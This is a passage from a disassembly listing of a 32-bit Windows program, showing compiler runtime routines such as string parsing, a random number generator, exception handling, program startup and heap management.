sub_402A22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A3C proc near ; CODE XREF: sub_4017F0+1E8p ; sub_4017F0+3B0p ... var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_408084 lea eax, [ebp+var_20] push eax call dword_408080 mov ax, [ebp+var_16] cmp ax, word_409AD2 jnz short loc_402AA1 mov ax, [ebp+var_18] cmp ax, word_409AD0 jnz short loc_402AA1 mov ax, [ebp+var_1A] cmp ax, word_409ACE jnz short loc_402AA1 mov ax, [ebp+var_1E] cmp ax, word_409ACA jnz short loc_402AA1 mov ax, [ebp+var_20] cmp ax, word_409AC8 jnz short loc_402AA1 mov eax, dword_409AC0 jmp short loc_402AE6 ; --------------------------------------------------------------------------- loc_402AA1: ; CODE XREF: sub_402A3C+28j ; sub_402A3C+35j ... lea eax, [ebp+var_CC] push eax call dword_40807C cmp eax, 0FFFFFFFFh jz short loc_402ACE cmp eax, 2 jnz short loc_402ACA cmp [ebp+var_32], 0 jz short loc_402ACA cmp [ebp+var_24], 0 jz short loc_402ACA push 1 pop eax jmp short loc_402AD1 ; --------------------------------------------------------------------------- loc_402ACA: ; CODE XREF: sub_402A3C+7Aj ; sub_402A3C+81j ... xor eax, eax jmp short loc_402AD1 ; --------------------------------------------------------------------------- loc_402ACE: ; CODE XREF: sub_402A3C+75j or eax, 0FFFFFFFFh loc_402AD1: ; CODE XREF: sub_402A3C+8Cj ; sub_402A3C+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_409AC8 movsd movsd movsd movsd pop edi mov dword_409AC0, eax pop esi loc_402AE6: ; CODE XREF: sub_402A3C+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_403BB5 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_402B16 mov [ecx], eax locret_402B16: ; CODE XREF: sub_402A3C+D6j leave retn sub_402A3C endp ; =============== S U B R O U T I N E ======================================= sub_402B18 proc near ; CODE XREF: sub_4012A0+8Cp ; sub_4012A0+12Bp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_402B45 push esi call sub_4030B4 pop ecx test eax, eax push esi jz short loc_402B37 push eax call sub_4030DF pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_402B37: ; CODE XREF: sub_402B18+13j push 0 push dword_51867C call dword_408088 loc_402B45: ; CODE XREF: sub_402B18+7j pop esi retn sub_402B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B47 proc near ; CODE XREF: sub_4013E0+61p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_403D8C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_402B85 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_402B92 ; --------------------------------------------------------------------------- loc_402B85: ; CODE XREF: sub_402B47+34j lea eax, [ebp+var_20] push eax push 0 call sub_403C77 pop ecx pop ecx loc_402B92: ; CODE XREF: sub_402B47+3Cj mov eax, esi pop esi leave retn sub_402B47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B97 proc near ; CODE XREF: sub_4016E0+3Dp ; sub_4017F0+B4Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_403D8C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_402BD7 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_402BE4 ; --------------------------------------------------------------------------- loc_402BD7: ; CODE XREF: sub_402B97+36j lea eax, [ebp+var_20] push eax push 0 call sub_403C77 pop ecx pop ecx loc_402BE4: ; CODE XREF: sub_402B97+3Ej mov eax, esi pop esi leave retn sub_402B97 endp ; =============== S U B R O U T I N E ======================================= sub_402BE9 proc near ; CODE XREF: sub_4017F0+65Ap ; sub_4017F0+972p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_402BF1: ; CODE XREF: sub_402BE9+34j cmp dword_409304, 1 jle short loc_402C09 movzx eax, byte ptr [edi] push 8 push eax call sub_404596 pop ecx pop ecx jmp short loc_402C18 ; --------------------------------------------------------------------------- loc_402C09: ; CODE XREF: sub_402BE9+Fj movzx eax, byte ptr [edi] mov ecx, off_4090F8 mov al, [ecx+eax*2] and eax, 8 loc_402C18: ; CODE XREF: sub_402BE9+1Ej test eax, eax jz short loc_402C1F inc edi jmp short loc_402BF1 ; --------------------------------------------------------------------------- loc_402C1F: ; CODE XREF: sub_402BE9+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_402C2F cmp esi, 2Bh jnz short loc_402C33 loc_402C2F: ; CODE XREF: sub_402BE9+3Fj movzx esi, byte ptr [edi] inc edi loc_402C33: ; CODE XREF: sub_402BE9+44j xor ebx, ebx loc_402C35: ; CODE XREF: sub_402BE9+7Bj cmp dword_409304, 1 jle short loc_402C4A push 4 push esi call sub_404596 pop ecx pop ecx jmp short loc_402C55 ; --------------------------------------------------------------------------- loc_402C4A: ; CODE XREF: sub_402BE9+53j mov eax, off_4090F8 mov al, [eax+esi*2] and eax, 4 loc_402C55: ; CODE XREF: sub_402BE9+5Fj test eax, eax jz short loc_402C66 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_402C35 ; --------------------------------------------------------------------------- loc_402C66: ; CODE XREF: sub_402BE9+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_402C6F neg eax loc_402C6F: ; CODE XREF: sub_402BE9+82j pop edi pop esi pop ebp pop ebx retn sub_402BE9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C80 proc near ; CODE XREF: sub_4017F0+5B1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_402CB1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_402CAF jz short loc_402CB1 dec ecx dec ecx loc_402CAF: ; CODE XREF: sub_402C80+29j not ecx loc_402CB1: ; CODE XREF: sub_402C80+9j ; sub_402C80+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_402C80 endp ; =============== S U B R O U T I N E ======================================= sub_402CB8 proc near ; CODE XREF: sub_4017F0+1FCp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4090C0, eax retn sub_402CB8 endp ; =============== S U B R O U T I N E ======================================= sub_402CC2 proc near ; CODE XREF: sub_4017F0:loc_401A14p mov eax, dword_4090C0 imul eax, 343FDh add eax, 269EC3h mov dword_4090C0, eax sar eax, 10h and eax, 7FFFh retn sub_402CC2 endp ; =============== S U B R O U T I N E ======================================= sub_402CE0 proc near ; CODE XREF: sub_4017F0+25p ; sub_405D65+DFp ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_402D00 loc_402CEC: ; CODE XREF: sub_402CE0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_402CEC loc_402D00: ; CODE XREF: sub_402CE0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_402CE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D10 proc near ; CODE XREF: sub_402E08+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_402D28 push [ebp+arg_0] call sub_4078C0 loc_402D28: ; DATA XREF: sub_402D10+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402D10 endp ; =============== S U B R O U T I N E ======================================= sub_402D30 proc near ; DATA XREF: sub_402D52+Ao ; .packed:00402DC3o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_402D51 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_402D51: ; CODE XREF: sub_402D30+10j retn sub_402D30 endp ; =============== S U B R O U T I N E ======================================= sub_402D52 proc near ; CODE XREF: sub_402E08+67p ; sub_402E08+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_402D30 push large dword ptr fs:0 mov large fs:0, esp loc_402D6F: ; CODE XREF: sub_402D52:loc_402DAAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_402DAC cmp esi, [esp+1Ch+arg_4] jz short loc_402DAC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_402DAA push 101h mov eax, [ebx+esi*4+8] call sub_402DE6 call dword ptr [ebx+esi*4+8] loc_402DAA: ; CODE XREF: sub_402D52+44j jmp short loc_402D6F ; --------------------------------------------------------------------------- loc_402DAC: ; CODE XREF: sub_402D52+2Aj ; sub_402D52+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_402D52 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_402D30 jnz short locret_402DDC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_402DDC mov eax, 1 locret_402DDC: ; CODE XREF: .packed:00402DCAj ; .packed:00402DD5j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_4090D0 jmp short loc_402DF0 ; =============== S U B R O U T I N E ======================================= sub_402DE6 proc near ; CODE XREF: sub_402D52+4Fp ; sub_402E08+78p push ebx push ecx mov ebx, offset dword_4090D0 mov ecx, [ebp+8] loc_402DF0: ; CODE XREF: .packed:00402DE4j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_402DE6 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E08 proc near ; DATA XREF: sub_4017F0+Ao ; sub_402EE0+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_402EA8 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_402E3B: ; CODE XREF: sub_402E08+90j cmp esi, 0FFFFFFFFh jz short loc_402EA1 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_402E8F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_402E8F js short loc_402E9A mov edi, [ebx+8] push ebx call sub_402D10 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_402D52 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_402DE6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_402E8F: ; CODE XREF: sub_402E08+40j ; sub_402E08+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_402E3B ; --------------------------------------------------------------------------- loc_402E9A: ; CODE XREF: sub_402E08+54j mov eax, 0 jmp short loc_402EBD ; --------------------------------------------------------------------------- loc_402EA1: ; CODE XREF: sub_402E08+36j mov eax, 1 jmp short loc_402EBD ; --------------------------------------------------------------------------- loc_402EA8: ; CODE XREF: sub_402E08+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_402D52 add esp, 8 pop ebp mov eax, 1 loc_402EBD: ; CODE XREF: sub_402E08+97j ; sub_402E08+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402E08 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_402D52 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_402EE0 proc near ; CODE XREF: start+1AAj var_64 = dword ptr -64h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_408138 push offset sub_402E08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_40809C xor edx, edx mov dl, ah mov dword_409A88, edx mov ecx, eax and ecx, 0FFh mov dword_409A84, ecx shl ecx, 8 add ecx, edx mov dword_409A80, ecx shr eax, 10h mov dword_409A7C, eax xor esi, esi push esi call sub_40303A pop ecx test eax, eax jnz short loc_402F4C push 1Ch call sub_402FFB pop ecx loc_402F4C: ; CODE XREF: sub_402EE0+62j mov [ebp+var_4], esi call sub_404C58 call dword_408098 mov dword_518680, eax call sub_404B26 mov dword_409AD8, eax call sub_4048D9 call sub_404820 call sub_40293A mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_408094 call sub_4047C8 mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_402F99 movzx eax, [ebp+var_2C] jmp short loc_402F9C ; --------------------------------------------------------------------------- loc_402F99: ; CODE XREF: sub_402EE0+B1j push 0Ah pop eax loc_402F9C: ; CODE XREF: sub_402EE0+B7j push eax push [ebp+var_64] push esi push esi call dword_408068 push eax call sub_4017F0 sub_402EE0 endp ; --------------------------------------------------------------------------- mov [ebp-60h], eax push eax call sub_402967 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_404644 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_402978 ; =============== S U B R O U T I N E ======================================= sub_402FD6 proc near ; CODE XREF: sub_404820+4Ep ; sub_404820+7Dp ... arg_0 = dword ptr 4 cmp dword_409AE0, 1 jnz short loc_402FE4 call sub_404E03 loc_402FE4: ; CODE XREF: sub_402FD6+7j push [esp+arg_0] call sub_404E3C push 0FFh call off_4090E0 pop ecx pop ecx retn sub_402FD6 endp ; =============== S U B R O U T I N E ======================================= sub_402FFB proc near ; CODE XREF: sub_402EE0+66p arg_0 = dword ptr 4 cmp dword_409AE0, 1 jnz short loc_403009 call sub_404E03 loc_403009: ; CODE XREF: sub_402FFB+7j push [esp+arg_0] call sub_404E3C pop ecx push 0FFh call dword_408070 retn sub_402FFB endp ; =============== S U B R O U T I N E ======================================= sub_40301F proc near ; CODE XREF: sub_4028D8+1Fp ; sub_406A9F+5Bp ... arg_0 = dword ptr 4 mov eax, dword_409AE8 test eax, eax jz short loc_403037 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_403037 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_403037: ; CODE XREF: sub_40301F+7j ; sub_40301F+12j xor eax, eax retn sub_40301F endp ; =============== S U B R O U T I N E ======================================= sub_40303A proc near ; CODE XREF: sub_402EE0+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4080A4 test eax, eax mov dword_51867C, eax jz short loc_40306F call sub_403076 test eax, eax jnz short loc_403072 push dword_51867C call dword_4080A0 loc_40306F: ; CODE XREF: sub_40303A+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_403072: ; CODE XREF: sub_40303A+27j push 1 pop eax retn sub_40303A endp ; =============== S U B R O U T I N E ======================================= sub_403076 proc near ; CODE XREF: sub_40303A+20p push 140h push 0 push dword_51867C call dword_40806C test eax, eax mov dword_518678, eax jnz short loc_403093 retn ; --------------------------------------------------------------------------- loc_403093: ; CODE XREF: sub_403076+1Aj and dword_518670, 0 and dword_518674, 0 push 1 mov dword_51866C, eax mov dword_518664, 10h pop eax retn sub_403076 endp ; =============== S U B R O U T I N E ======================================= sub_4030B4 proc near ; CODE XREF: sub_402B18+Ap ; sub_407632+3Dp arg_0 = dword ptr 4 mov eax, dword_518674 lea ecx, [eax+eax*4] mov eax, dword_518678 lea ecx, [eax+ecx*4] loc_4030C4: ; CODE XREF: sub_4030B4+26j cmp eax, ecx jnb short loc_4030DC mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_4030DE add eax, 14h jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030DC: ; CODE XREF: sub_4030B4+12j xor eax, eax locret_4030DE: ; CODE XREF: sub_4030B4+21j retn sub_4030B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030DF proc near ; CODE XREF: sub_402B18+16p ; sub_407632+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_4031A5 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_403137 mov [ebp+arg_4], edi loc_403137: ; CODE XREF: sub_4030DF+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_403189 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403165 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_403189 mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_403189 ; --------------------------------------------------------------------------- loc_403165: ; CODE XREF: sub_4030DF+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_403189 mov ecx, [ebp+arg_0] and [ecx+4], edi loc_403189: ; CODE XREF: sub_4030DF+60j ; sub_4030DF+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_4031A5: ; CODE XREF: sub_4030DF+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_4031B3 push 3Fh pop edi loc_4031B3: ; CODE XREF: sub_4030DF+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_403262 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_4031DE mov [ebp+arg_4], edx mov ecx, edx loc_4031DE: ; CODE XREF: sub_4030DF+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_4031F0 mov edi, edx loc_4031F0: ; CODE XREF: sub_4030DF+10Dj cmp ecx, edi jz short loc_40325F mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_403247 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_403223 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_403247 mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_403247 ; --------------------------------------------------------------------------- loc_403223: ; CODE XREF: sub_4030DF+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_403247 mov ecx, [ebp+arg_0] and [ecx+4], edx loc_403247: ; CODE XREF: sub_4030DF+11Ej ; sub_4030DF+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_40325F: ; CODE XREF: sub_4030DF+113j mov edx, [ebp+var_8] loc_403262: ; CODE XREF: sub_4030DF+DDj cmp [ebp+var_14], 0 jnz short loc_403271 cmp [ebp+arg_4], edi jz loc_4032FA loc_403271: ; CODE XREF: sub_4030DF+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4032FA mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_4032CE cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4032BD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4032BD: ; CODE XREF: sub_4030DF+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_4032F7 ; --------------------------------------------------------------------------- loc_4032CE: ; CODE XREF: sub_4030DF+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4032E4 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4032E4: ; CODE XREF: sub_4030DF+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_4032F7: ; CODE XREF: sub_4030DF+1EDj mov ebx, [ebp+var_C] loc_4032FA: ; CODE XREF: sub_4030DF+18Cj ; sub_4030DF+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_403405 mov eax, dword_518670 test eax, eax jz loc_4033F7 mov ecx, dword_518668 mov edi, dword_4080A8 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi mov ecx, dword_518668 mov eax, dword_518670 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_518670 mov ecx, dword_518668 mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_518670 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_518670 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_403385 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_518670 loc_403385: ; CODE XREF: sub_4030DF+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_4033F7 push ebx push 0 push dword ptr [eax+0Ch] call edi mov eax, dword_518670 push dword ptr [eax+10h] push 0 push dword_51867C call dword_408088 mov eax, dword_518674 mov edx, dword_518678 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_518670 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_404F90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_518674 cmp eax, dword_518670 jbe short loc_4033E9 sub eax, 14h loc_4033E9: ; CODE XREF: sub_4030DF+305j mov ecx, dword_518678 mov dword_51866C, ecx jmp short loc_4033FA ; --------------------------------------------------------------------------- loc_4033F7: ; CODE XREF: sub_4030DF+233j ; sub_4030DF+2AAj mov eax, [ebp+arg_0] loc_4033FA: ; CODE XREF: sub_4030DF+316j mov dword_518670, eax mov dword_518668, esi loc_403405: ; CODE XREF: sub_4030DF+226j pop edi pop esi pop ebx leave retn sub_4030DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40340A proc near ; CODE XREF: sub_402904+Ep ; sub_406A9F+30p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_518674 mov edx, dword_518678 push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_40344A or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_40345A ; --------------------------------------------------------------------------- loc_40344A: ; CODE XREF: sub_40340A+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_40345A: ; CODE XREF: sub_40340A+3Ej mov eax, dword_51866C mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_403481 loc_403468: ; CODE XREF: sub_40340A+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_403481 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_403468 loc_403481: ; CODE XREF: sub_40340A+5Cj ; sub_40340A+6Aj cmp ebx, [ebp+var_4] jnz short loc_4034FF mov ebx, edx loc_403488: ; CODE XREF: sub_40340A+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4034A4 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4034A2 add ebx, 14h jmp short loc_403488 ; --------------------------------------------------------------------------- loc_4034A2: ; CODE XREF: sub_40340A+91j cmp ebx, eax loc_4034A4: ; CODE XREF: sub_40340A+83j jnz short loc_4034FF loc_4034A6: ; CODE XREF: sub_40340A+ADj cmp ebx, [ebp+var_4] jnb short loc_4034BC cmp dword ptr [ebx+8], 0 jnz short loc_4034B9 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_4034A6 ; --------------------------------------------------------------------------- loc_4034B9: ; CODE XREF: sub_40340A+A5j cmp ebx, [ebp+var_4] loc_4034BC: ; CODE XREF: sub_40340A+9Fj jnz short loc_4034E4 mov ebx, edx loc_4034C0: ; CODE XREF: sub_40340A+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4034D4 cmp dword ptr [ebx+8], 0 jnz short loc_4034D2 add ebx, 14h jmp short loc_4034C0 ; --------------------------------------------------------------------------- loc_4034D2: ; CODE XREF: sub_40340A+C1j cmp ebx, eax loc_4034D4: ; CODE XREF: sub_40340A+BBj jnz short loc_4034E4 call sub_403713 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_4034F8 loc_4034E4: ; CODE XREF: sub_40340A:loc_4034BCj ; sub_40340A:loc_4034D4j push ebx call sub_4037C4 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4034FF loc_4034F8: ; CODE XREF: sub_40340A+D8j 